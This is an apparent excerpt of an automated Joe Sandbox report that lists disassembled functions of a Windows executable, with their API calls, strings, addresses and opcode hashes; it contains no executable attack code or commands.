Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction ID: 413ebaa9054dc8f678ed8e7369fe6feca7eba3b26ec7efcb054ef338c11c6f4c
Opcode Fuzzy Hash: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction Fuzzy Hash: D771E577A082C18ADB205F29D8607BABBA4EB2AB84F448175DF4D07A89CB3CD495C710

Function 00007FF7B67EB54C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67EB573
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67EB745

Strings

, xrefs: 00007FF7B67EB6CE
*, xrefs: 00007FF7B67EB679

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction ID: 846adbd42f54ad922c7259401eab5f272ff0d4f31f1f71e5c56af346faa4cfa2
Opcode Fuzzy Hash: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction Fuzzy Hash: 7D51BB7690C64286E7656E3C8A6437E7FA8EB2BF08F941175C7494119CDF3CE499CE20

Function 00007FF7B67E9C30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67E87A0: abort.LIBCMT ref: 00007FF7B67E87B3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B67E9CDA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7B67E9D06

Strings

csm, xrefs: 00007FF7B67E9E06

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction ID: 47b33baf9e36a04dcc620fa9a958432cd16004f8863d20037ff06d0ebdd11361
Opcode Fuzzy Hash: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction Fuzzy Hash: 24514D3B61874187D620EB19E85026FB7A8FB9EB90F9005B4DB8D07B5ADF38D465CB10

Function 00007FF7B67F7874 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7B67F795A
WriteFile.KERNEL32 ref: 00007FF7B67F798D
GetLastError.KERNEL32 ref: 00007FF7B67F79AF

Strings

U, xrefs: 00007FF7B67F7938

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction ID: 2bcb928db287724723710e4ffdfc4f986bbcc102acda56ee94dd6bd189822dc3
Opcode Fuzzy Hash: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction Fuzzy Hash: 7B41C222619A8582E710DF29F8547AAB7A1FBA9B90F804031EF4D87798DF3CD401CB10

Function 00007FF7B67DCCEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7B67DCD15
GetObjectW.GDI32 ref: 00007FF7B67DCD43
ReleaseDC.USER32 ref: 00007FF7B67DCDF7

Strings

, xrefs: 00007FF7B67DCD8F

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction ID: 0b16d7006987b217ba034a5ce285faa8298bb59904458f0366ad74c4343f0082
Opcode Fuzzy Hash: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction Fuzzy Hash: C4311A7661874196DA049F26BC18A2AB7A2F79AFD1F904175EF4E43B18CF3CD459CB00

Function 00007FF7B67DC21C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7B67DC228
GetDeviceCaps.GDI32 ref: 00007FF7B67DC239
ReleaseDC.USER32 ref: 00007FF7B67DC246

Strings

, xrefs: 00007FF7B67DC24C

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction ID: b7008f069d84b45f21edca08f7d24a03ad7dece1f583471d0c35e51991fa3637
Opcode Fuzzy Hash: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction Fuzzy Hash: ABE0C2A1B0864182EB4867BAF98943BA262AB4CFD0F954035DF0E83788DE3DC4E58304

Function 00007FF7B67C7644 Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C7915
FoldStringW.KERNEL32 ref: 00007FF7B67C795F
FoldStringW.KERNEL32 ref: 00007FF7B67C79B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C7A22

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FoldString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2025052027-0
Opcode ID: c9fe3392ab09c49d1196f8df235d0463f4d9b61ecd1758375ad174dc9803bd61
Instruction ID: 8d7156665670c4f43bf074b9952b5f8841416aa1c6d68e54f14f14325945053e
Opcode Fuzzy Hash: c9fe3392ab09c49d1196f8df235d0463f4d9b61ecd1758375ad174dc9803bd61
Instruction Fuzzy Hash: B0B1D422F2864A81EE10AF1DD85457EA3A1FB6ABA4F948171DB1D077D8DF7CE494C320

Function 00007FF7B67CFCDC Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7B67CFD90
SetLastError.KERNEL32 ref: 00007FF7B67CFE2B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9fe865261a2bdbfc69447d7f073232b66b0883da029528855bf010fd97c510b6
Instruction ID: cec1f7d04b0899922b0449b52a160c09cbc89e66e9aaf7b822ee3dd5bc1ab69b
Opcode Fuzzy Hash: 9fe865261a2bdbfc69447d7f073232b66b0883da029528855bf010fd97c510b6
Instruction Fuzzy Hash: 2551B762B14A4685EB00EB78D8652EE6321EFAAB98F804176DB1C5379EDE3CD544C360

Function 00007FF7B67DD908 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7B67DD934
GetLastError.KERNEL32 ref: 00007FF7B67DD980
CreateDirectoryW.KERNEL32 ref: 00007FF7B67DDA88
LocalFree.KERNEL32 ref: 00007FF7B67DDA98

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 5e20d32f705fb8afae232702789ae5b6ccc28567c60846b1c728c17defa930fd
Instruction ID: 70c4fa82bd0f566d3e80384c67d6580340ec17c1d5d9f5f7254fa0cc0ef3b90d
Opcode Fuzzy Hash: 5e20d32f705fb8afae232702789ae5b6ccc28567c60846b1c728c17defa930fd
Instruction Fuzzy Hash: 2551C072A19B8286E7109F65E854B6FB3A5FBA9B84F900035DB4D53A1CDF3CD904CB10

Function 00007FF7B67F106C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F10BF
WideCharToMultiByte.KERNEL32 ref: 00007FF7B67F1191
GetLastError.KERNEL32 ref: 00007FF7B67F11B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F11E6

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction ID: 9986920e1f2c5365e8b83d18dfb8e34b4c0586ece085335a5d821a9750b4116c
Opcode Fuzzy Hash: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction Fuzzy Hash: 19419631A287C286FB65AA19DC6077BF690EFBAB90F944170DB4D06ADDDE3CD4418720

Function 00007FF7B67F4008 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7B67EF93B), ref: 00007FF7B67F4021
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7B67EF93B), ref: 00007FF7B67F4083
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7B67EF93B), ref: 00007FF7B67F40BD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7B67EF93B), ref: 00007FF7B67F40E7

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction ID: 88432e5c335edfe984a792218311084505fa9d39b70f80042be8d479c90d8210
Opcode Fuzzy Hash: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction Fuzzy Hash: E721A422A187D182EA20AF15685042AF6A4EB79FD0B9841B4DF4D63B9DDF7CE4528710

Function 00007FF7B67F0950 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7B67EB380,?,?,00000050,00007FF7B67ED3C1), ref: 00007FF7B67F095A
SetLastError.KERNEL32(?,?,?,00007FF7B67EB380,?,?,00000050,00007FF7B67ED3C1), ref: 00007FF7B67F09C2
SetLastError.KERNEL32(?,?,?,00007FF7B67EB380,?,?,00000050,00007FF7B67ED3C1), ref: 00007FF7B67F09D8
abort.LIBCMT ref: 00007FF7B67F09DE

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction ID: 7b785a72c30fe2c05b857cf13e37e86ef782037cb35ad0b96cece398abed3306
Opcode Fuzzy Hash: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction Fuzzy Hash: E1016D10B0928642FA58B77D5E7993BE1816F7E790F9405B8DB6E467CEFD6CA8404220

Function 00007FF7B67DC1CC Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7B67DC1D4
GetDeviceCaps.GDI32 ref: 00007FF7B67DC1EA
GetDeviceCaps.GDI32 ref: 00007FF7B67DC1FE
ReleaseDC.USER32 ref: 00007FF7B67DC20F

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction ID: 85eab4d630b4793c4a4362b0a5da4f76cd723fff84930bc42ad92ee6846dbd90
Opcode Fuzzy Hash: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction Fuzzy Hash: 04E01BE0E4570182EF057B799C191379192AF5AF45FC44479CB0E46358DE3DA0A58724

Function 00007FF7B67F1704 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67F1747

Strings

gfff, xrefs: 00007FF7B67F1872
e+000, xrefs: 00007FF7B67F17EF

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction ID: fce161f1ab33fcfb05d4eb92c714bd5e24daa0141699c70b63e8d2b27d7cbcb0
Opcode Fuzzy Hash: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction Fuzzy Hash: B6515B72B287C186E7259B3DDD5076AAB91E756BA0F8882B1C79C47BC9CF2CD044C710

Function 00007FF7B67C9808 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C99A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67C99E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C999C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C99A2

Strings

SIZE, xrefs: 00007FF7B67C9843

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 87bb56ca121dbe8459ff7cb6c827e9ac43c466e791526e995e40738a5dfd1e5c
Instruction ID: 7e40e780dd5ca21b3c82d8eeba9963a4fff8c96901428dd65d9e6d017fd1646c
Opcode Fuzzy Hash: 87bb56ca121dbe8459ff7cb6c827e9ac43c466e791526e995e40738a5dfd1e5c
Instruction Fuzzy Hash: 8C41A662A1878685EA50EB1CD8613AFA350EFEA7A0F804271EB9D026DDEF3DD545C710

Function 00007FF7B67EF7A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B67EF7CA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF7B67E64A5), ref: 00007FF7B67EF7EB

Strings

C:\Users\user\Desktop\4kN17cL4Tn.exe, xrefs: 00007FF7B67EF7D9

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\4kN17cL4Tn.exe
API String ID: 3307058713-1269913081
Opcode ID: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction ID: c62003c9d4996af1267b49c151351f38b440d4e4b53cccc701b2cb604e28f3b7
Opcode Fuzzy Hash: d741bd9ac7dff40685a7c943ead455491a0e4fb3fffc5812c1fd7ad0a856b466
Instruction Fuzzy Hash: 8541F636A0864285E714FF2A9C200BAB398EF6A7D8BC440B5EB0D47B5DDE3DD4558760

Function 00007FF7B67C9A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67C9AEA

Part of subcall function 00007FF7B67D0688: WideCharToMultiByte.KERNEL32 ref: 00007FF7B67D06B9

Strings

@%s, xrefs: 00007FF7B67C9ACE
$%s, xrefs: 00007FF7B67C9AD7

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction ID: fa2225aa6f1fc199e43491aa692556be62d01767ba9a64e5ea6583f682712f69
Opcode Fuzzy Hash: 9a1500ef5950f5f5df7c550d69d7960993ad2cdd50597e18fe19dfb01623cb94
Instruction Fuzzy Hash: 72313772B19A4A95EA50EF1DE8506FAA3A0FB6A784F801072DF0C07B5CEE3CD405C710

Function 00007FF7B67D00F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF7B67E3B27
DialogBoxParamW.USER32 ref: 00007FF7B67E3B5C

Strings

GETPASSWORD1, xrefs: 00007FF7B67E3B55

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
